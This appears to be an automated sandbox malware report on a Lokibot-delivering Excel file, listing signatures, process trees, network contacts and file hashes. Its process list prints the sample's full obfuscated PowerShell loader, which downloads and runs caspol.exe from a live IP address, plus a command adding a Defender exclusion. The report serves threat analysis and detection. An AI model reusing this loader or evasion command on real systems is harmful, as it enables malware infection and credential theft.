Analysis Overview
SHA256
555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7
Threat Level: Known bad
The file 555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7.xls was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Lokibot
Lokibot family
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Evasion via Device Credential Deployment
Downloads MZ/PE file
Reads user/profile data of web browsers
Executes dropped EXE
Loads dropped DLL
Accesses Microsoft Outlook profiles
Suspicious use of SetThreadContext
Drops file in System32 directory
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Checks processor information in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious use of AdjustPrivilegeToken
outlook_win_path
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Suspicious use of SetWindowsHookEx
outlook_office_path
Enumerates system info in registry
Uses Task Scheduler COM API
Modifies Internet Explorer settings
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-19 04:33
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-19 04:33
Reported
2024-11-19 04:36
Platform
win7-20240903-en
Max time kernel
136s
Max time network
146s
Command Line
Signatures
Lokibot
Lokibot family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
Reads user/profile data of web browsers
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2972 set thread context of 1532 | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | C:\Users\Admin\AppData\Roaming\caspol.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7.xls
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE
"C:\Windows\SysTEM32\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE" "PowERShell.EXE -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT ; iNvOkE-EXprEssion($(invOkE-exPreSSIoN('[sYsteM.tEXT.EncOdInG]'+[CHar]0X3A+[CHaR]0x3A+'Utf8.GEtsTriNG([sYSTEm.CONvErT]'+[ChAr]0x3a+[CHar]58+'fROMbasE64string('+[char]34+'JEFIQ2MxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJlUkRlRmlOaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTW9uLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3piR3Ysc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZEdvU2hpRWwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZZTGlNem4sSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYkcpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJNQmdOa1F0IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLWHhFWHhxZEVFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSENjMTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzY2LjYzLjE4Ny4yMzEvNjU3L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtTVGFSVC1zbGVFcCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXGNhc3BvbC5leGUi'+[ChAR]34+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\eph8dhdh.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCEE4.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCCEE3.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | link.uebie.de | udp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
| US | 8.8.8.8:53 | e6.o.lencr.org | udp |
| GB | 88.221.135.105:80 | e6.o.lencr.org | tcp |
| US | 66.63.187.231:80 | 66.63.187.231 | tcp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
| US | 66.63.187.231:80 | 66.63.187.231 | tcp |
| US | 66.63.187.231:80 | 66.63.187.231 | tcp |
| US | 8.8.8.8:53 | crl.microsoft.com | udp |
| GB | 2.18.190.80:80 | crl.microsoft.com | tcp |
| US | 8.8.8.8:53 | www.microsoft.com | udp |
| GB | 95.100.245.144:80 | www.microsoft.com | tcp |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp |
Files
memory/2568-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2568-1-0x0000000072B0D000-0x0000000072B18000-memory.dmp
memory/2880-16-0x0000000002980000-0x0000000002982000-memory.dmp
memory/2568-17-0x0000000002F50000-0x0000000002F52000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B083487247EB8FBD76503EF0DA269B6B
| MD5 | e8babfed1ad00eee29f323c07e3d4256 |
| SHA1 | 18fe9eb9d9e344499a179f750bcbff20621272ad |
| SHA256 | 4e6072a1c969b8ce9584d0e5221ad76b93a15632d6bc718f147633c864431c2c |
| SHA512 | d60513392b33ad69fd772ad979230e1d99ce42f1b7ad320f7b725ddb20be51c476630174de7966a96a8c3588513840bbeb67c545478920509aee04364a3b11da |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B083487247EB8FBD76503EF0DA269B6B
| MD5 | 21df645ec13368af70d0fdc697fd5359 |
| SHA1 | 5b82ae15964e432a108cdcaff6577f97a3fa282c |
| SHA256 | ab8079f4c308128ed7c6149a31e451702426eb988972368078d420cb490b0ec2 |
| SHA512 | 29c1ad99095fb83110e4aa0d34bc6229aba1d15f30aaf5971228d9a03a032dc83d5232e13923b776a67f0419e7eeb5e684cff95b10c9aa2443653779909cc1d0 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
| MD5 | 822467b728b7a66b081c91795373789a |
| SHA1 | d8f2f02e1eef62485a9feffd59ce837511749865 |
| SHA256 | af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9 |
| SHA512 | bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
| MD5 | 1f15940b9f087d2aabb515853a5ab8b4 |
| SHA1 | 05fb28b482541e3d0f6324754821a49aed845575 |
| SHA256 | 6c2c1bb9dd1aeb84367e82571e26c9d3fa3a73d040235e3580a6e007428af8d0 |
| SHA512 | 53afe5902aa15cb72270d239ee2f2d1af4358950cebc37071b72e9aa4f1379e3f862b9b9317b0d8302c82b2c08d560778217fc2f31e9815e970980006c2d533f |
C:\Users\Admin\AppData\Local\Temp\CabC35F.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\K3VL8XEP\seemefasterthanbeforewithhisbestthingsinonlineforgetreadyfor[1].hta
| MD5 | db21eb9cf86a8314900d693c5a40c4e9 |
| SHA1 | 1dd5c5e45f4c0224a6c4f4ce443bcb542fc5913c |
| SHA256 | da1ae3eef8260a07b09c7978317fed23be8c431f2620629a9bc3f170df113102 |
| SHA512 | b589c6d47dd7dc29d3e8e6823c68966ee388d5e78fbc5b300abd38829443889591efe774564c861349dcad7b1981f9317b60fb1c19a3b232f12c64e403783f2c |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | a51f266de3e57eb19a604c9ae6fe35b7 |
| SHA1 | 2afbb9b2f7ff5619ac203fc294694439ccae398a |
| SHA256 | f86a27c6ade616a42c16e43d561dae20d034d7cbab89ee6ec711aa6bd9c985ee |
| SHA512 | 5703261bcb9cfdc045b296574d33b6864b418784384edff7eb55fcbe25c15d31486c65d0d1bd77c6b275508f0b5c331e78d10bc7f587c7f96e3c180d9de02a27 |
\??\c:\Users\Admin\AppData\Local\Temp\eph8dhdh.cmdline
| MD5 | 929190f1b1390e480fcf57dfb7d42a1d |
| SHA1 | ed5c065e5a6edb03956ce849e0f09226e9f564d2 |
| SHA256 | d38f5e504a9dd20f527502a879de84e66ed57976651c4b7b6478db14730cf0a5 |
| SHA512 | b74ba05acbf7f1fb5065729a2e57a096231fa2814e3b62dd6f3e268148025f3d4af7220511cb7dd5d56a19a6c5addd0cc9dc728abbd6788095b1c9f56f0bef90 |
\??\c:\Users\Admin\AppData\Local\Temp\eph8dhdh.0.cs
| MD5 | f97fc8141f59078b4354b513d3b083ac |
| SHA1 | 293904ab8d5f38a2f0764ee2e35e97e590d8c737 |
| SHA256 | f6766cc467b91c9c99186a91d4cc32ebf6803b04c9e82ba8dedd54f9dc25b32e |
| SHA512 | 87b65e67e76c334c79481d25513fb1696ab86b1d8bf6006b7436a5ba7e522e2101912315c16d92cb0bf0feb86aa9616d5ea1019054c489958ca364947abe879c |
\??\c:\Users\Admin\AppData\Local\Temp\CSCCEE3.tmp
| MD5 | 411f8e80d86c2aa5d898f42fce34104e |
| SHA1 | e442bf319b0df262466640b612962f5e59b4c6ec |
| SHA256 | 9a5234755b54234b8ae04c1bd745d7f5a0b8faf0978b8f0fb0aa4d0778886c75 |
| SHA512 | bd18fc0281050f6491a88a7b97a598feb4bbe64d45c015ad271592f91798a710c86c743c508cf6b5d74b3ebb1bfec730cb877d6332bb1bba1d2db84745a163ed |
C:\Users\Admin\AppData\Local\Temp\RESCEE4.tmp
| MD5 | 2a966a426129242f00144c301a9b0b09 |
| SHA1 | 4c2060046640d26ca73ea8eef0cd998932c49079 |
| SHA256 | 454b8b60373a8024411465fc9bf68901572b7ab876570cf3a3d6329fbedbedba |
| SHA512 | 7bff20ffaba4d9b7ab53c8920aa62342a45ad9638b6344b927e915e80a4a450c00f85e9e880f7f90d565225b6dd72f93a46192e0197adbbd6593cb37f568bfff |
C:\Users\Admin\AppData\Local\Temp\eph8dhdh.dll
| MD5 | 72f7bc5fd119ea7d3a385509f2753480 |
| SHA1 | 4302dde08b71b221520f393f5f44803d20575464 |
| SHA256 | 43705e03d01d68f0a78b97711a821ee7d24db700f459d391d0df06354d7db6dd |
| SHA512 | 8d2ba35871300bab3a47f141cf97cb5d5e3404856047665b364756bc71aa2e4cf9b53893127cacc1e431e414a6d2576336a5f9a857b1f3845adb4a5ea1156b25 |
C:\Users\Admin\AppData\Local\Temp\eph8dhdh.pdb
| MD5 | db81397ad7cee67033572b98a3433845 |
| SHA1 | 70dc33042f9b9d96ed958b261db74d153ac70fe9 |
| SHA256 | 104dfd45f0ef89cd56e88d76ba4784368cf973bf8a55cfaaad9e072034b82e40 |
| SHA512 | b5f481a5ee44411672617fbaa015fddc183b71e12b90af513de36a0524e87469f7d37936cabcd24fe6cd17c7dc7420f23df6b4858157f56e3dcf4a9d9d3f1eb3 |
memory/2568-60-0x0000000072B0D000-0x0000000072B18000-memory.dmp
\Users\Admin\AppData\Roaming\caspol.exe
| MD5 | 80358303e33cef71434e6e4a621262c5 |
| SHA1 | e7a22b4e5af741f9b4d9982f36164b276bba459a |
| SHA256 | f3246d0ca5ca8e69f98ca33b2c17813d5d862049dcfa9931dbcbaaaf7543a1f7 |
| SHA512 | 5e68b8c63afe7c0e91396f42f485cd84946235ab11d9ce7107bbcf75568ff3087d5e14378f87d77733376e332f516f26db838b870ca580569178b15c0a90761e |
memory/2972-70-0x00000000011A0000-0x0000000001234000-memory.dmp
memory/2972-71-0x0000000000510000-0x0000000000522000-memory.dmp
memory/2972-72-0x0000000005920000-0x0000000005984000-memory.dmp
memory/1532-81-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1532-86-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1532-84-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1532-83-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1532-79-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1532-77-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1532-75-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1532-73-0x0000000000400000-0x00000000004A2000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3063565911-2056067323-3330884624-1000\0f5007522459c86e95ffcc62f32308f1_de87a6d6-9d44-4942-9ec6-2be31b435411
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3063565911-2056067323-3330884624-1000\0f5007522459c86e95ffcc62f32308f1_de87a6d6-9d44-4942-9ec6-2be31b435411
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-19 04:33
Reported
2024-11-19 04:36
Platform
win10v2004-20241007-en
Max time kernel
143s
Max time network
146s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\mshta.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2244 wrote to memory of 3288 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
| PID 2244 wrote to memory of 3288 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7.xls"
C:\Windows\System32\mshta.exe
C:\Windows\System32\mshta.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| GB | 52.109.28.47:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | link.uebie.de | udp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
| US | 8.8.8.8:53 | e6.o.lencr.org | udp |
| GB | 88.221.135.105:80 | e6.o.lencr.org | tcp |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 47.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.108.45.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 168.245.100.95.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 105.135.221.88.in-addr.arpa | udp |
| US | 66.63.187.231:80 | 66.63.187.231 | tcp |
| US | 8.8.8.8:53 | 231.187.63.66.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.193.132.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 53.210.109.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.49.80.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 29.243.111.52.in-addr.arpa | udp |
Files
memory/2244-0-0x00007FF81ADD0000-0x00007FF81ADE0000-memory.dmp
memory/2244-1-0x00007FF85ADED000-0x00007FF85ADEE000-memory.dmp
memory/2244-3-0x00007FF81ADD0000-0x00007FF81ADE0000-memory.dmp
memory/2244-4-0x00007FF81ADD0000-0x00007FF81ADE0000-memory.dmp
memory/2244-2-0x00007FF81ADD0000-0x00007FF81ADE0000-memory.dmp
memory/2244-7-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp
memory/2244-6-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp
memory/2244-5-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp
memory/2244-9-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp
memory/2244-11-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp
memory/2244-12-0x00007FF818C60000-0x00007FF818C70000-memory.dmp
memory/2244-10-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp
memory/2244-8-0x00007FF81ADD0000-0x00007FF81ADE0000-memory.dmp
memory/2244-14-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp
memory/2244-16-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp
memory/2244-15-0x00007FF85AD50000-0x00007FF85AF45000-memory.dmp
